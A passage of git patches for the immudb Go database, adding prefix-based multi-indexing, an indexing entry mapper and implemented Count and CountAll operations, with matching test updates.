tx2.Commit(context.Background()) + require.NoError(t, err) + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -5059,7 +5063,7 @@ func TestImmudbStore_ExportTxWithEmptyValues(t *testing.T) { } func TestIndexingChanges(t *testing.T) { - st, err := Open(t.TempDir(), DefaultOptions()) + st, err := Open(t.TempDir(), DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) require.NotNil(t, st) @@ -5068,9 +5072,7 @@ func TestIndexingChanges(t *testing.T) { tx1, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - indexingChanges1 := make(map[int]IndexChange) - indexingChanges1[1] = &IndexCreationChange{} - indexingChanges1[2] = &IndexCreationChange{} + indexingChanges1 := []IndexChange{&IndexCreationChange{Prefix: []byte("j")}, &IndexCreationChange{Prefix: []byte("k")}} tx1.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges1)) @@ -5094,8 +5096,7 @@ func TestIndexingChanges(t *testing.T) { tx2, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - indexingChanges2 := make(map[int]IndexChange) - indexingChanges2[1] = &IndexDeletionChange{} + indexingChanges2 := []IndexChange{&IndexDeletionChange{Prefix: []byte("j")}} tx2.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges2)) diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index cb150fc1cc..b031230e28 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -30,7 +30,7 @@ import ( ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(DefaultIndexID, t.TempDir(), nil, nil) + indexer, err := newIndexer(nil, t.TempDir(), nil, nil) require.Nil(t, indexer) require.ErrorIs(t, err, ErrIllegalArguments) } @@ -41,10 +41,11 @@ func TestClosedIndexerFailures(t *testing.T) { )) require.NoError(t, err) - err = store.indexer.Close() + indexer, err := store.getIndexer(nil) require.NoError(t, err) - indexer := store.indexer + err = indexer.Close() + require.NoError(t, err) v, tx, hc, err := indexer.Get(nil) require.Zero(t, v) @@ -127,7 +128,11 @@ func TestRestartIndexCornerCases(t *testing.T) { "Closed store", func(t *testing.T, dir string, s *ImmuStore) { s.Close() - err := s.indexer.restartIndex() + + indexer, err := s.getIndexer(nil) + require.NoError(t, err) + + err = indexer.restartIndex() require.ErrorIs(t, err, ErrAlreadyClosed) }, }, @@ -135,7 +140,11 @@ func TestRestartIndexCornerCases(t *testing.T) { "No nodes folder", func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/commit1"), 0777)) - err := s.indexer.restartIndex() + + indexer, err := s.getIndexer(nil) + require.NoError(t, err) + + err = indexer.restartIndex() require.NoError(t, err) }, }, @@ -143,7 +152,11 @@ func TestRestartIndexCornerCases(t *testing.T) { "No commit folder", func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) - err := s.indexer.restartIndex() + + indexer, err := s.getIndexer(nil) + require.NoError(t, err) + + err = indexer.restartIndex() require.NoError(t, err) }, }, @@ -152,7 +165,11 @@ func TestRestartIndexCornerCases(t *testing.T) { func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) require.NoError(t, ioutil.WriteFile(filepath.Join(dir, "index/commit1"), []byte{}, 0777)) - err := s.indexer.restartIndex() + + indexer, err := s.getIndexer(nil) + require.NoError(t, err) + + err = indexer.restartIndex() require.NoError(t, err) }, }, diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index c702bda1fe..a65c913322 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -53,7 +53,7 @@ func TestImmudbStoreReader(t *testing.T) { require.NoError(t, err) } - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() @@ -112,7 +112,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { require.NoError(t, err) } - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() @@ -176,7 +176,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { require.NoError(t, err) } - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() @@ -239,7 +239,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { require.NoError(t, err) } - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) require.NoError(t, err) defer snap.Close() diff --git a/embedded/store/kv_metadata_test.go b/embedded/store/kv_metadata_test.go index 6352c2665c..5c1a57e77d 100644 --- a/embedded/store/kv_metadata_test.go +++ b/embedded/store/kv_metadata_test.go @@ -37,10 +37,6 @@ func TestKVMetadata(t *testing.T) { require.False(t, md.IsExpirable()) require.False(t, md.NonIndexable()) - indexID, err := md.Index() - require.NoError(t, err) - require.Zero(t, indexID) - _, err = md.ExpirationTime() require.ErrorIs(t, err, ErrNonExpirable) @@ -65,9 +61,6 @@ func TestKVMetadata(t *testing.T) { err = desmd.AsNonIndexable(true) require.ErrorIs(t, err, ErrReadOnly) - - err = desmd.UseIndex(1) - require.ErrorIs(t, err, ErrReadOnly) }) desmd := NewKVMetadata() @@ -99,19 +92,9 @@ func TestKVMetadata(t *testing.T) { desmd.AsNonIndexable(false) require.False(t, desmd.NonIndexable()) - err = desmd.UseIndex(1) - require.NoError(t, err) - - indexID, err = desmd.Index() - require.NoError(t, err) - require.Equal(t, 1, indexID) - desmd.AsNonIndexable(true) require.True(t, desmd.NonIndexable()) - _, err = desmd.Index() - require.ErrorIs(t, err, ErrNonIndexable) - bs = desmd.Bytes() require.NotNil(t, bs) require.LessOrEqual(t, len(bs), maxKVMetadataLen) diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index e68556d35e..355c6643a1 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -17,6 +17,8 @@ limitations under the License. package store import ( + "bytes" + "crypto/sha256" "errors" "fmt" @@ -29,7 +31,7 @@ var ErrAlreadyStopped = errors.New("already stopped") type metaState struct { truncatedUpToTxID uint64 - indexes []*indexSpec + indexes map[[sha256.Size]byte]*indexSpec wHub *watchers.WatchersHub } @@ -47,7 +49,8 @@ type metaStateOptions struct { func openMetaState(path string, opts metaStateOptions) (*metaState, error) { return &metaState{ - wHub: watchers.New(0, MaxIndexCount), + wHub: watchers.New(0, MaxIndexCount), + indexes: make(map[[sha256.Size]byte]*indexSpec), }, nil } @@ -69,6 +72,17 @@ func (m *metaState) calculatedUpToTxID() uint64 { return doneUpToTxID } +func (m *metaState) indexPrefix(prefix []byte) (indexPrefix [sha256.Size]byte, ok bool) { + for p, spec := range m.indexes { + if len(prefix) >= len(spec.prefix) && bytes.Equal(spec.prefix, prefix[:len(spec.prefix)]) { + indexPrefix = p + ok = true + return + } + } + return +} + func (m *metaState) processTxHeader(hdr *TxHeader) error { if hdr == nil { return ErrIllegalArguments @@ -99,17 +113,14 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { if len(indexingChanges) > 0 { for _, change := range indexingChanges { - // buscar el indice para el prefix en el metaState - change.GetPrefix() - - _, indexAlreadyExists := m.indexes[id] + indexPrefix, indexAlreadyExists := m.indexPrefix(change.GetPrefix()) if change.IsIndexDeletion() { if !indexAlreadyExists { return fmt.Errorf("%w: index does not exist", ErrCorruptedData) } - delete(m.indexes, id) + delete(m.indexes, indexPrefix) continue } @@ -121,7 +132,9 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { c := change.(*IndexCreationChange) - m.indexes[id] = &indexSpec{ + indexPrefix := sha256.Sum256(c.Prefix) + + m.indexes[indexPrefix] = &indexSpec{ prefix: c.Prefix, initialTxID: c.InitialTxID, finalTxID: c.FinalTxID, diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 15fd3b30f6..e047ea525f 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -63,6 +63,12 @@ type mvccReadSet struct { readsetSize int } +func (mvccReadSet *mvccReadSet) isEmpty() bool { + return len(mvccReadSet.expectedGets) == 0 && + len(mvccReadSet.expectedGetsWithPrefix) == 0 && + len(mvccReadSet.expectedReaders) == 0 +} + type expectedGet struct { key []byte filters []FilterFn @@ -108,13 +114,15 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT unsafeMVCC: opts.UnsafeMVCC, } + tx.mode = opts.Mode + if opts.Mode == WriteOnlyTx { return tx, nil } - tx.mode = opts.Mode tx.snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID tx.snapshotRenewalPeriod = opts.SnapshotRenewalPeriod + tx.mvccReadSet = &mvccReadSet{} return tx, nil } @@ -404,7 +412,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, ErrWriteOnlyTx } - snap, err := tx.snap(key) + snap, err := tx.snap(prefix) if err != nil { return nil, nil, err } @@ -539,10 +547,7 @@ func (tx *OngoingTx) Closed() bool { } func (tx *OngoingTx) hasPreconditions() bool { - return len(tx.preconditions) > 0 || - len(tx.mvccReadSet.expectedGets) > 0 || - len(tx.mvccReadSet.expectedGetsWithPrefix) > 0 || - len(tx.mvccReadSet.expectedReaders) > 0 + return len(tx.preconditions) > 0 || (tx.mvccReadSet != nil && !tx.mvccReadSet.isEmpty()) } func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { diff --git a/embedded/store/options.go b/embedded/store/options.go index 0a2df27800..c6f5dad974 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -123,6 +123,8 @@ type Options struct { UseExternalCommitAllowance bool + MultiIndexing bool + // options below are only set during initialization and stored as metadata MaxTxEntries int MaxKeyLen int @@ -544,6 +546,11 @@ func (opts *Options) WithExternalCommitAllowance(useExternalCommitAllowance bool return opts } +func (opts *Options) WithMultiIndexing(multiIndexing bool) *Options { + opts.MultiIndexing = multiIndexing + return opts +} + func (opts *Options) WithWriteTxHeaderVersion(version int) *Options { opts.WriteTxHeaderVersion = version return opts diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index fdca75b3a8..20a87aea4b 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -114,7 +114,7 @@ func (c *IndexCreationChange) IsIndexCreation() bool { const maxIndexChangeSize = 1 /* index change type */ + maxIndexCreationSize // size of bigger change const minIndexCreationSize = sszSize + 2*txIDSize + 2*tsSize -const maxIndexCreationSize = sszSize + MaxKeyLen + 2*txIDSize + 2*tsSize +const maxIndexCreationSize = sszSize + MaxIndexPrefixLen + 2*txIDSize + 2*tsSize const minIndexDeletionSize = sszSize const indexDeletionChange = 0 diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index c8bd7d72d1..aecef01d3d 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -76,14 +76,14 @@ func TestTxMetadataWithAttributes(t *testing.T) { changes := desmd.GetIndexingChanges() require.Nil(t, changes) - specChanges := make(map[int]IndexChange) - desmd.WithIndexingChanges(specChanges) + desmd.WithIndexingChanges(nil) changes = desmd.GetIndexingChanges() require.Nil(t, changes) - specChanges[1] = &IndexDeletionChange{} - specChanges[2] = &IndexCreationChange{} - + specChanges := []IndexChange{ + &IndexDeletionChange{}, + &IndexCreationChange{}, + } desmd.WithIndexingChanges(specChanges) changes = desmd.GetIndexingChanges() require.Len(t, changes, 2) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 7572764be6..c1967ee963 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -684,7 +684,14 @@ func greatestKeyOfSize(size int) []byte { func requiredNodeSize(maxKeySize, maxValueSize int) int { // space for at least two children is required for inner nodes // 31 bytes are fixed in leafNode serialization while 29 bytes are fixed in innerNodes - return 2 * (31 + maxKeySize + maxValueSize) + minInnerNode := 2 * (29 + maxKeySize) + minLeafNode := 31 + maxKeySize + maxValueSize + + if minInnerNode < minLeafNode { + return minLeafNode + } + + return minInnerNode } func (t *TBtree) GetOptions() *Options { diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index b2e8b0ceb4..6e594ac0bc 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -156,10 +156,14 @@ func main() { if *action == "get" { time.Sleep(time.Duration(*waitForIndexing) * time.Millisecond) - ts := immuStore.IndexInfo() + ts, err := immuStore.IndexInfo(nil) + if err != nil { + panic(err) + } + fmt.Printf("Index up to %d\r\n", ts) - snap, err := immuStore.Snapshot() + snap, err := immuStore.Snapshot(nil) if err != nil { panic(err) } From 23a9b02f29b3a422735bd4847e49844f6a96b4d5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 19 Aug 2023 12:31:24 -0300 Subject: [PATCH 0731/1062] chore(embedded/store): entry mapper Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 8 ++++++-- embedded/store/indexer.go | 29 ++++++++++++++++++++++++++--- embedded/store/indexer_test.go | 2 +- embedded/store/meta_state.go | 3 +-- 4 files changed, 34 insertions(+), 8 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index a8234c54ab..b7758b7bd6 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -731,7 +731,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable if !opts.MultiIndexing { indexPath := filepath.Join(store.path, indexDirname) - defaultIndexer, err := newIndexer(nil, indexPath, store, opts) + defaultIndexer, err := newIndexer(indexPath, store, nil, nil, opts) if err != nil { store.Close() return nil, fmt.Errorf("could not open indexer: %w", err) @@ -824,9 +824,13 @@ func (s *ImmuStore) notify(nType NotificationType, mandatory bool, formattedMess } } +func hasPrefix(key, prefix []byte) bool { + return len(key) >= len(prefix) && bytes.Equal(prefix, key[:len(prefix)]) +} + func (s *ImmuStore) getIndexer(key []byte) (*indexer, error) { for _, indexer := range s.indexers { - if len(key) >= len(indexer.prefix) && bytes.Equal(indexer.prefix, key[:len(indexer.prefix)]) { + if hasPrefix(key, indexer.prefix) { return indexer, nil } } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 0b07155fd2..a223c87add 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -35,7 +35,8 @@ import ( ) type indexer struct { - prefix []byte + prefix []byte + entryMapper entryMapper path string @@ -46,6 +47,7 @@ type indexer struct { bulkPreparationTimeout time.Duration _kvs []*tbtree.KVT //pre-allocated for multi-tx bulk indexing + _val []byte //pre-allocated buffer to read entry values while mapping index *tbtree.TBtree @@ -65,6 +67,8 @@ type indexer struct { metricsLastIndexedTrx prometheus.Gauge } +type entryMapper = func(key []byte, value []byte) []byte + type runningState = int const ( @@ -88,7 +92,7 @@ var ( }) ) -func newIndexer(prefix []byte, path string, store *ImmuStore, opts *Options) (*indexer, error) { +func newIndexer(path string, store *ImmuStore, prefix []byte, entryMapper entryMapper, opts *Options) (*indexer, error) { if store == nil { return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } @@ -144,11 +148,13 @@ func newIndexer(prefix []byte, path string, store *ImmuStore, opts *Options) (*i indexer := &indexer{ prefix: prefix, + entryMapper: entryMapper, store: store, tx: tx, maxBulkSize: opts.IndexOpts.MaxBulkSize, bulkPreparationTimeout: opts.IndexOpts.BulkPreparationTimeout, _kvs: kvs, + _val: make([]byte, store.maxValueLen), path: path, index: index, wHub: wHub, @@ -452,6 +458,23 @@ func (idx *indexer) indexSince(txID uint64) error { continue } + var mappedKey []byte + + if idx.entryMapper == nil { + mappedKey = e.key() + } else { + _, err := idx.store.readValueAt(idx._val[:e.vLen], e.vOff, e.hVal, false) + if err != nil { + return err + } + + mappedKey = idx.entryMapper(e.key(), idx._val[:e.vLen]) + } + + if !hasPrefix(mappedKey, idx.prefix) { + continue + } + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte o := 0 @@ -485,7 +508,7 @@ func (idx *indexer) indexSince(txID uint64) error { copy(b[o:], kvmd) o += kvmdLen - idx._kvs[indexableEntries].K = e.key() + idx._kvs[indexableEntries].K = mappedKey idx._kvs[indexableEntries].V = b[:o] idx._kvs[indexableEntries].T = txID + uint64(i) diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index b031230e28..fe9f6d3319 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -30,7 +30,7 @@ import ( ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(nil, t.TempDir(), nil, nil) + indexer, err := newIndexer(t.TempDir(), nil, nil, nil, nil) require.Nil(t, indexer) require.ErrorIs(t, err, ErrIllegalArguments) } diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index 355c6643a1..d9e71900f1 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -17,7 +17,6 @@ limitations under the License. package store import ( - "bytes" "crypto/sha256" "errors" "fmt" @@ -74,7 +73,7 @@ func (m *metaState) calculatedUpToTxID() uint64 { func (m *metaState) indexPrefix(prefix []byte) (indexPrefix [sha256.Size]byte, ok bool) { for p, spec := range m.indexes { - if len(prefix) >= len(spec.prefix) && bytes.Equal(spec.prefix, prefix[:len(spec.prefix)]) { + if hasPrefix(prefix, spec.prefix) { indexPrefix = p ok = true return From f4a80aa8c8737278612227d7c8e5aa6af354f339 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 19 Aug 2023 13:55:59 -0300 Subject: [PATCH 0732/1062] chore(embedded/store): indexing prefix Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 12 ------------ embedded/store/immustore_test.go | 4 ---- embedded/tools/stress_tool/stress_tool.go | 7 ------- 3 files changed, 23 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index b7758b7bd6..6920ef9920 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -838,18 +838,6 @@ func (s *ImmuStore) getIndexer(key []byte) (*indexer, error) { return nil, ErrNoIndexFound } -func (s *ImmuStore) IndexInfo(prefix []byte) (uint64, error) { - s.indexersMux.RLock() - defer s.indexersMux.RUnlock() - - indexer, err := s.getIndexer(prefix) - if err != nil { - return 0, err - } - - return indexer.Ts(), nil -} - func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 2ed7a09e38..f034bf7552 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1706,10 +1706,6 @@ func TestImmudbStoreCommitWith(t *testing.T) { hdr, err := immuStore.CommitWith(context.Background(), callback, true) require.NoError(t, err) - ts, err := immuStore.IndexInfo(nil) - require.NoError(t, err) - require.Equal(t, uint64(1), ts) - _, err = immuStore.ReadValue(nil) require.ErrorIs(t, err, ErrIllegalArguments) diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index 6e594ac0bc..7e7dba4afb 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -156,13 +156,6 @@ func main() { if *action == "get" { time.Sleep(time.Duration(*waitForIndexing) * time.Millisecond) - ts, err := immuStore.IndexInfo(nil) - if err != nil { - panic(err) - } - - fmt.Printf("Index up to %d\r\n", ts) - snap, err := immuStore.Snapshot(nil) if err != nil { panic(err) From 1a76e5291d6027381a62b2a56885c75de414f3e6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 19 Aug 2023 13:56:15 -0300 Subject: [PATCH 0733/1062] chore(pkg/database): kv count Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 40 ++++++++++++++++++++++++++++++----- pkg/database/database_test.go | 7 +++--- pkg/server/db_operations.go | 16 +++++++++++--- 3 files changed, 52 insertions(+), 11 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 425e338bfb..4aeaa0582f 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -345,12 +345,12 @@ func (d *db) FlushIndex(req *schema.FlushIndexRequest) error { return store.ErrIllegalArguments } - return d.st.FlushIndex(req.CleanupPercentage, req.Synced) + return d.st.FlushIndexes(req.CleanupPercentage, req.Synced) } // CompactIndex ... func (d *db) CompactIndex() error { - return d.st.CompactIndex() + return d.st.CompactIndexes() } // Set ... @@ -899,12 +899,42 @@ func (d *db) Size() (uint64, error) { // Count ... func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { - return nil, fmt.Errorf("functionality not yet supported: %s", "Count") + if prefix == nil { + return nil, ErrIllegalArguments + } + + tx, err := d.st.NewTx(ctx, store.DefaultTxOptions().WithMode(store.ReadOnlyTx)) + if err != nil { + return nil, err + } + + keyReader, err := tx.NewKeyReader(store.KeyReaderSpec{ + Prefix: WrapWithPrefix(prefix.Prefix, SetKeyPrefix), + }) + if err != nil { + return nil, err + } + + count := 0 + + for { + _, _, err := keyReader.Read() + if errors.Is(err, store.ErrNoMoreEntries) { + break + } + if err != nil { + return nil, err + } + + count++ + } + + return &schema.EntryCount{Count: uint64(count)}, nil } // CountAll ... func (d *db) CountAll(ctx context.Context) (*schema.EntryCount, error) { - return nil, fmt.Errorf("functionality not yet supported: %s", "Count") + return d.Count(ctx, &schema.KeyPrefix{}) } // TxByID ... @@ -951,7 +981,7 @@ func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, e waitUntilTx = currTxID } - return d.st.SnapshotMustIncludeTxID(ctx, waitUntilTx) + return d.st.SnapshotMustIncludeTxID(ctx, nil, waitUntilTx) } func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index adaa0ce9c4..102e29ba4f 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -115,10 +115,11 @@ func TestDefaultDbCreation(t *testing.T) { require.Zero(t, n) _, err = db.Count(context.Background(), nil) - require.ErrorContains(t, err, "Functionality not yet supported: Count") + require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.CountAll(context.Background()) - require.ErrorContains(t, err, "Functionality not yet supported: Count") + res, err := db.CountAll(context.Background()) + require.NoError(t, err) + require.Zero(t, res.Count) dbPath := path.Join(options.GetDBRootPath(), db.GetName()) require.DirExists(t, dbPath) diff --git a/pkg/server/db_operations.go b/pkg/server/db_operations.go index 4cf3c766fe..4cdf86a907 100644 --- a/pkg/server/db_operations.go +++ b/pkg/server/db_operations.go @@ -172,13 +172,23 @@ func (s *ImmuServer) Scan(ctx context.Context, req *schema.ScanRequest) (*schema } // Count ... -func (s *ImmuServer) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { - return nil, ErrNotSupported +func (s *ImmuServer) Count(ctx context.Context, req *schema.KeyPrefix) (*schema.EntryCount, error) { + db, err := s.getDBFromCtx(ctx, "Scan") + if err != nil { + return nil, err + } + + return db.Count(ctx, req) } // CountAll ... func (s *ImmuServer) CountAll(ctx context.Context, _ *empty.Empty) (*schema.EntryCount, error) { - return nil, ErrNotSupported + db, err := s.getDBFromCtx(ctx, "Scan") + if err != nil { + return nil, err + } + + return db.CountAll(ctx) } // TxByID ... From f69bebfb01653338d4ae88c508137e35e4bc5c63 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 19 Aug 2023 20:13:27 -0300 Subject: [PATCH 0734/1062] chore(embedded/store): indexing callbacks Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 159 +++++++++++++++++++++---------- embedded/store/immustore_test.go | 50 +++++++++- embedded/store/indexer.go | 20 ++-- embedded/store/indexer_test.go | 12 +-- embedded/store/meta_state.go | 32 +++++-- embedded/store/ongoing_tx.go | 5 +- 6 files changed, 202 insertions(+), 76 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 6920ef9920..819eca70d0 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -23,13 +23,13 @@ import ( "crypto/sha256" "encoding/base64" "encoding/binary" + "encoding/hex" "errors" "fmt" "io" "math" "os" "path/filepath" - "sort" "sync" "time" @@ -113,6 +113,8 @@ var ErrInvalidProof = errors.New("invalid proof") var ErrNoIndexFound = errors.New("no index found") +var ErrMultiIndexingNotEnabled = errors.New("multi-indexing not enabled") + const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 @@ -197,7 +199,8 @@ type ImmuStore struct { writeTxHeaderVersion int - timeFunc TimeFunc + timeFunc TimeFunc + multiIndexing bool useExternalCommitAllowance bool commitAllowedUpToTxID uint64 @@ -218,9 +221,11 @@ type ImmuStore struct { metaState *metaState - indexers []*indexer + indexers map[[sha256.Size]byte]*indexer indexersMux sync.RWMutex + opts *Options + closed bool mutex sync.Mutex @@ -658,7 +663,9 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable writeTxHeaderVersion: opts.WriteTxHeaderVersion, - timeFunc: opts.TimeFunc, + timeFunc: opts.TimeFunc, + multiIndexing: opts.MultiIndexing, + indexers: make(map[[sha256.Size]byte]*indexer), useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, @@ -674,6 +681,8 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable _txbs: txbs, _valBs: make([]byte, maxValueLen), + opts: opts, + compactionDisabled: opts.CompactionDisabled, } @@ -715,37 +724,28 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable err = store.inmemPrecommitWHub.DoneUpto(precommittedTxID) if err != nil { + store.Close() return nil, err } err = store.durablePrecommitWHub.DoneUpto(precommittedTxID) if err != nil { + store.Close() return nil, err } err = store.commitWHub.DoneUpto(committedTxID) if err != nil { + store.Close() return nil, err } - if !opts.MultiIndexing { - indexPath := filepath.Join(store.path, indexDirname) - - defaultIndexer, err := newIndexer(indexPath, store, nil, nil, opts) + if !store.multiIndexing { + err := store.InitIndexer(nil, nil) if err != nil { store.Close() - return nil, fmt.Errorf("could not open indexer: %w", err) - } - - if defaultIndexer.Ts() > committedTxID { - store.Close() - return nil, fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) - - // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced - // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved + return nil, err } - - store.indexers = append(store.indexers, defaultIndexer) } if store.synced { @@ -828,23 +828,70 @@ func hasPrefix(key, prefix []byte) bool { return len(key) >= len(prefix) && bytes.Equal(prefix, key[:len(prefix)]) } -func (s *ImmuStore) getIndexer(key []byte) (*indexer, error) { +func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { for _, indexer := range s.indexers { - if hasPrefix(key, indexer.prefix) { + if hasPrefix(keyPrefix, indexer.prefix) { return indexer, nil } } - return nil, ErrNoIndexFound } +func (s *ImmuStore) InitIndexer(prefix []byte, entryMapper EntryMapper) error { + s.indexersMux.Lock() + defer s.indexersMux.Unlock() + + indexPrefix := sha256.Sum256(prefix) + + _, indexFound := s.metaState.indexes[indexPrefix] + if s.multiIndexing && !indexFound { + return ErrNoIndexFound + } + + _, ok := s.indexers[indexPrefix] + if ok { + return fmt.Errorf("%w: indexer already initialized", ErrIllegalState) + } + + var indexPath string + + if len(prefix) == 0 { + indexPath = filepath.Join(s.path, indexDirname) + } else { + encPrefix := hex.EncodeToString(prefix) + indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) + } + + indexer, err := newIndexer(indexPath, s, s.opts) + if err != nil { + return fmt.Errorf("could not open indexer: %w", err) + } + + if indexer.Ts() > s.LastCommittedTxID() { + return fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) + + // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced + // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved + } + + s.indexers[indexPrefix] = indexer + + indexer.init(prefix, entryMapper) + + return nil +} + func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { - indexer, err := s.getIndexer(key) + indexer, err := s.getIndexerFor(key) if err != nil { + if errors.Is(err, ErrNoIndexFound) { + return nil, ErrKeyNotFound + } + return nil, err } @@ -879,8 +926,12 @@ func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef } func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - indexer, err := s.getIndexer(prefix) + indexer, err := s.getIndexerFor(prefix) if err != nil { + if errors.Is(err, ErrNoIndexFound) { + return nil, nil, ErrKeyNotFound + } + return nil, nil, err } @@ -911,8 +962,12 @@ func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters . } func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { - indexer, err := s.getIndexer(key) + indexer, err := s.getIndexerFor(key) if err != nil { + if 